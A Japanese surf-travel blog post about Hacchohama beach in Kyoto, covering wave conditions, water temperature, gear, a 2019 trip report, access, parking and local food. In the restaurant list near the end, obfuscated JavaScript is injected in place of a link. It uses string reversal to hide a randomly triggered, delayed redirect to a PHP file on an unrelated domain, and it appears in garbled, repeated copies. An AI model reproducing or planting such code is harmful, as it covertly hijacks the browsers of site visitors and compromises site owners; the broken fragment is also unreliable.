冬型の気圧配置である西高東低が決まると、多くのサーファーが日本海側の良い波を狙いに行きますよね。
そこで今回は、日本海の中でも特にパワフルな波がブレイクする京都府の「八丁浜(はっちょうはま)」を特集!
実際にサーフィンをしたレビューや、サーフポイントの詳しい紹介をしていきます。
目次
サーフスポット「八丁浜」はどんなサーフポイント?
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八丁浜は京都府の京丹後エリア「日本海」に位置するメジャーなサーフポイントです。
地形 | ビーチブレイク |
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海岸の向き | 北~北東 |
オフショア | 南~南西 |
レベル | 初心者〜上級者 |
ベストシーズン | 10月〜3月 |
駐車場 | 有り |
シャワー | 有り |
トイレ | 有り |
京丹後エリアの中でも特にウネリの反応が良い八丁浜は、周囲の河川の影響でサンドバーが形成されやすく、地形が良い事が特徴と言えるでしょう。
地形が整うと、スモールコンディションはもちろん、頭オーバーの波でもホールドし、パワフルな波が楽しむことができます。
が立つ事でも有名なスポットなんだよ
しかし、日本海に位置する八丁浜は、風が弱まると波のサイズダウンが進む傾向にあり、「前日までの頭サイズの波が、翌日にはフラット」なんてこともざらにあります。
八丁浜のパーフェクトブレイクを味わいたい方は、冬型の気圧配置である西高東低が緩み、北風が弱まったタイミングを狙うといいでしょう。
気まぐれだけど、力強く美しい。そんな八丁浜の素晴らしいブレイクに出会えるかもしれません。
コンディションが整った日は、待ちに待ったローカル達も集まり、セッションになる事が多いので、ビジターの方は配慮が必要になります。
特に、ポイント左奥にある防波堤裏のグーフィーがブレイクする場所は、ローカルポイントになりますので、ビジターの方は遠慮しましょう。
八丁浜の波の様子はライブカメラでチェック可能!
京丹後市のサイトから、八丁浜の波の映像をリアルタイムで見る事が出来ます。
八丁浜へ行かれる前に、ぜひ活用して波をチェックしてみて下さい。
八丁浜の水温は?
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冬がサーフシーズンとなる八丁浜は、12月~5月までの間15℃を下回ります。
特に2月下旬~3月が最も冷たくなる期間なので、ドライスーツやセミドライスーツが必須です。
合わせてグローブ、ブーツ、ヘッドキャップを準備してサーフィンに行く事をおすすめします。
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ちなみに、筆者が八丁浜でサーフィンをした際の装備は次のとおりです。
- セミドライスーツ
- ブーツ
今年は暖冬の影響もあり、例年より水温も高く、グローブは必要ありませんでした。中にはノーブーツでサーフィンされている方もいるくらいでしたので上記の装備で十分サーフィンを楽しめました。
【画像あり】サーフスポット「八丁浜」のサーフィンレビュー|実際に行ってきました!
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日時 | 2019年12月21日(Sat) |
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天気 | 晴れ |
サイズ | 胸たまに肩 |
風 | 北西/2m・サイドオン |
うねりの向き | 北うねり |
使用したボード | ”5.10”ショートボード |
京都駅から車で約2時間。コウノトリ但馬空港から車で約1時間でアクセス出来るのが日本海でも有数のサーフスポット「八丁浜」です。
私が八丁浜を知ったのは、今から15年前の冬になります。
サーフィン仲間から「冬の日本海に行くなら、ぜひ一度は京都の八丁浜に行ってもらいたい。ヒットすればパワフルでパーフェクトな三角波を楽しめるから!」と言われたからです。
そんな事を聞いたら行くしかない!そして、実際に訪れた八丁浜では、頭オーバーサイズの三角波が出迎えてくれて最高の思い出となりました。
それから15年の歳月が経ち、ようやく今回、3度目となる訪問を実現することが出来ました。
今回は2019年12月の八丁浜ショートトリップを、写真と動画を交えて解説していきます。
前日の天気予報からのサーフボード選び
前日の予報では、「冬型の気圧配置が弱まり、翌日には風も弱まる」という情報から、日本海の波が良くなる条件は整っていると推測できます。
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そこで今回は、サイズは肩から頭くらい~掘れたブレイク用に”5.10”のショートボードと、サイズダウンが進んで、波がたるくなった時用に”5.6 ½”のクワッドをチョイスして持って行きました。
本音はフィッシュ(Tappy)を持って行きたかったところですが、オンフィンでパッキングが面倒なので断念することに...(のちに後悔します。笑)
冬の八丁浜の波のコンディション
翌日、コウノトリ但馬空港へ到着すると曇天の曇り空に風がビュービュー。
北風が強まり、波もありそうです。
天気が悪くてもワクワクしてしまうのはサーファーだけなのかもしれません…。
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さて、到着直後の八丁浜の波です。
サーファーがいないのでサイズ感が伝わりづらいですが、たまに頭くらいのうねりはあります。
とにかく風が強くチョッピー気味のコンディション。
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八丁浜近くの琴引浜もサイズはワンサイズありますが、クローズ気味のコンディションでした。
いい風が吹いて、うねりはしっかりと入っている様子ですが、到着当日のサーフィンはNoSurf。
厳しいコンディションとなりました。
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翌朝になると前日までの風はやみ、サイズを抑えつつも波がクリーンにシェイプ!
サイズはたまのセットで肩オーバーくらいで見た目は悪くないです。
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ファーストブレイクの直後に波が厚くなるコンディションでしたので、フィッシュにすれば良かったと少し反省。
しかし、久しぶりの京都で波もあり、素晴らしいセッションを満喫できました。
当日の様子の動画はコチラ。
その他京都のサーフスポット
京都には良質な波がブレイクするポイントがいくつかあります。
- 八丁浜
- 琴引浜
- 平
- 浜詰
- 箱石
- 葛野浜
- 小天橋
今回のサーフトリップで訪れたのは、小天橋・琴引浜・平の3ヶ所です。
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小天橋は風を若干かわしやすく、琴引浜は京都のサーフスポットの中でもうねりの反応が良いです。
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平は風の影響でコンディションが変化しやすいですが、条件が整うとメローないい波がブレイクします。
どのサーフスポットも水質は良好で透明度も高く、条件次第では、素晴らしい景観の中、パーフェクトな波でサーフィンを楽しむことが出来ます。
京都/八丁浜へのアクセス
私がこれまで八丁浜でサーフィンした際のアクセス方法は、次の3とおり。
- 車で10時間かけて行った
- 京都駅からレンタカーで2時間
- コウノトリ但馬空港からレンタカーで1時間
結論から申し上げますと、コウノトリ但馬空港からアクセスすることをオススメします。
体力的にも時間的にも上記3つのアクセス方法の中でもっとも適していると感じました。
関東からコウノトリ但馬空港へアクセスする場合、羽田→大阪(伊丹)→コウノトリ但馬空港の航路でおよそ2時間ほどで到着します。
直行便は大阪(伊丹)空港からしか出ていないので、羽田空港発でない方は大阪(伊丹)へのフライトでトランジットが必要になります。
コウノトリ但馬空港から八丁浜まではレンタカー移動がオススメ
コウノトリ但馬空港から電車で八丁浜へアクセスする場合、最寄り駅の「網野駅」から徒歩で40分ほどかかってしまいます。
そこで、空港ピックアップでレンタカーを利用すると旅がスムーズになりますよ。
レンタカーを条件で比較して予約できるサイトもありますので、ご自身の条件に合わせて車を予約しておくことをおすすめします。
ちなみに、今回私が比較サイトでレンタカーしたサイトは「たびらい」です。
レンタカー会社は空港から20分ほど離れたところに密集しているので、空港までの送迎があるかを確認しておきましょう。
八丁浜の駐車場情報
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八丁浜には256台分の駐車スペースがあります。
海水浴場が開かれる時期は1日500円と有料ですが、サーファーにとってシーズンとなる冬は基本無料となります。
車中泊スペースとしても十分過ぎる駐車スペースですが、駐車場でBBQをしたり、騒音をたてたりの迷惑行為は控えるようにしでくださいね。
車中泊に関する記事は「【冬】サーフィンでの車中泊に必須のアイテム12選|寒い季節でも快適に楽しもう!」をご覧ください。
八丁浜はトイレ・シャワー完備のサーフスポット!
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八丁浜はシャワーやトイレも完備していますので、サーファーに嬉しいポイントが盛りだくさんです!
なお、シャワーやトイレがある多目的芝生広場はとても広く、日中は多くの家族づれやスポーツのグラウンドとしても利用されています。
そのため、トイレを利用される方は最低限のエチケットは守って利用するようにしましょう。
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八丁浜の周辺スポット
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八丁浜は京都の京丹後市に位置するサーフスポットで「松葉ガニ」「バラ寿司」がとても美味しくいただけます。
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私は宿泊の旅館で松葉ガニをいただき、市内の小料理屋でバラ寿司をいただきましたが、どちらも絶品でした。
サーフィン後にお腹がすいたら、ぜひ立ち寄ってみてください!
- 松葉ガニのコースと源泉掛け流しの貸切風呂 ゑびすや
- 郷土料理や懐石料理が楽しめる $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torimatsu.jp/osinagaki.htm">とり松
まとめ|これから八丁浜へサーフィンに行く方へ
京都の八丁浜は、条件が整った冬になるとパワフルな三角波を届けてくれる、日本海屈指のサーフスポットです。
基本、初級者でもサーフィンを楽しめるスポットですが、頭以上の波が立つ時は、中級者以上のコンディションになるので、うねりを軽減するスポットへ移動するか、落ち着くのを待つことをオススメします。
シーズン中の海水温度は、10℃から15℃前後で、北風が吹けば寒さが身にしみます。ドライスーツやグローブの他、ヘッドキャップも持っていくと安心してサーフィンすることが出来るので装備は入念にしておきましょう。
冬の八丁浜でサーフィンする魅力は次のとおり。
- 日本海のパワフルな波に乗れる!
- 食事が最高に美味い!
- 良質な温泉が沢山ある!
- 水質が良くロケーションも最高!
- 京丹後の人がとても優しく暖かい!
北風しびれる冬の八丁浜は、訪れたサーファーに美しい自然とパワフルな波を届けてくれます。
京丹後の暖かい人々に囲まれて、美味しい食事と温かい温泉に浸かれば、そこは寒さとは無縁の世界!
ぜひ京都の八丁浜へサーフトリップへ出かけてみてくださいね。
\サーフィン情報を配信中!/
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